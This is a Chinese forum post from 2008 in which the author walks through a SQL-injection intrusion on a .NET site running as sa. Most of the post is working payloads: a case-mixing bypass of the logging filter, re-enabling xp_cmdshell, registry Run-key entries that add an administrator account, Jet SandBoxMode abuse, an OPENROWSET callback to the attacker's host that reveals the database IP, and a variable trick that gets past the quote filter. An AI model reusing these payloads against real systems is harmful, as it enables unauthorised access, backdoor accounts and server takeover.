SA下的艰苦渗透!
全部回复
仅看楼主
level 7
风〓阿呆 楼主
好久没写渗透文章了,今天无聊随便写点,看得懂的来一起讨论讨论```` 应客户要求!对一站点进行渗透测试 www.xxx.com (原地址隐藏) 不废话,直接进主题``` 站点套用的.net 脚本! 服务器为Windows 2003 iis 6.0 google site: www.xxx.com inurl:aspx 发现注射点~ articleinfosSubject.aspx?ID=609 啊D检测!发现信息显示数据库为ACC 我笑 ~ 这么个大的站点 还是.net 用的acc? 丢NBSI里,返回信息为SA 登陆用户为SA 见鬼,同样的注射不同的结果,后来才看到,原来关闭了错误回显``` 直接提交 and (SElect count(*) from sysobjects)>0-- 正常 and (SElect count(*) from msysobjects)>0-- 异常 这里 对SQL注射熟悉的人 可以看出我的注射语句有点不正常,这个稍后说明 说明是SQL数据库咯,看下权限~ ;and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- 正常, 看来是SA咯! 可惜关闭了错误提示,只能手工了,不过可是SA哦~ 继续提交;exec master.dbo.xp_cmdshell 'net user guest /active:yes'-- 很好,问题来了! hackers : Please do not try to inject attack site, the site has implemented safety control, lawless elements will crack down! Keep your system has been operational records law: IP operation:58.54.XXX.XXX Time:2008-03-31 16:02:35 Page:http://www.XXX.com/articleinfosSubject.aspx?ID=609;exec master.dbo.xp_cmdshell 'net user guest /active:yes'-- Sumbit Type:GET Parameters:ID Data:609;exec master.dbo.xp_cmdshell 'net user guest /active:yes'-- 被LOG记录了,记录得很详细嘛,可是,是哪过滤了呢? 试着提交了其他的注射语句,同样的被记录了! 直到提交 EXEC master.dbo.xp_cmdshell 'net user guest /active:yes'-- OK,终于返回错误信息了,汗 看来过滤了大小写!(这也就是上面我判断数据库时为什么要用SElect了) 不过,问题解决了,新问题又来了,xp_cmdshell 无法执行,被禁了? 提交 ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE-- 很好,返回正常,看来恢复成功了``` 接着试着 执行 EXEC master.dbo.xp_cmdshell 'net user guest /active:yes'-- 仍然报错,看来真是RP问题了! 试了oacreate 也是报错 继续提交: EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','xwq1','REG_SZ','C:\windows\system32\cmd.exe /c net user wooden 123123 /add' 返回正常, 还好,还有xp_regwrite 可以用,继续提交 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','xwq1','REG_SZ','C:\windows\system32\cmd.exe /c net localgroup administrators wooden /add' OK,成功在RUN里写了个提权帐号 既然regwrite 可以用,那么试下开启sandboxmode EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0-- OK 成功执行,接着 Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','Select shell("net user wooden 123123 /add")'); 报错,看来是没戏了,不过,还好顺利执行了xp_regwrite 接着就是判断WEB与DATA是否分离了! 本地监听了个端口 接着在注射点上执行 select * from OPENROWSET('SQLOLEDB', 'uid=hook;pwd=hook;Network=DBMSSOCN;Address=121.XX.XX.XX,XX。;', 'select * from xx') 顺利的地到了DATA IP 到此,检测已经完成``` 其实这次入侵的确花了好多心思的,我只是把入侵过程缩减了很多。。。 服务器其实还过滤了单引号,不过通过   declare @a sysname   select @a=   exec master.dbo.xp_cmdshell @a 变量声明后 顺利的执行了语句! 
2008年03月31日 08点03分 1
1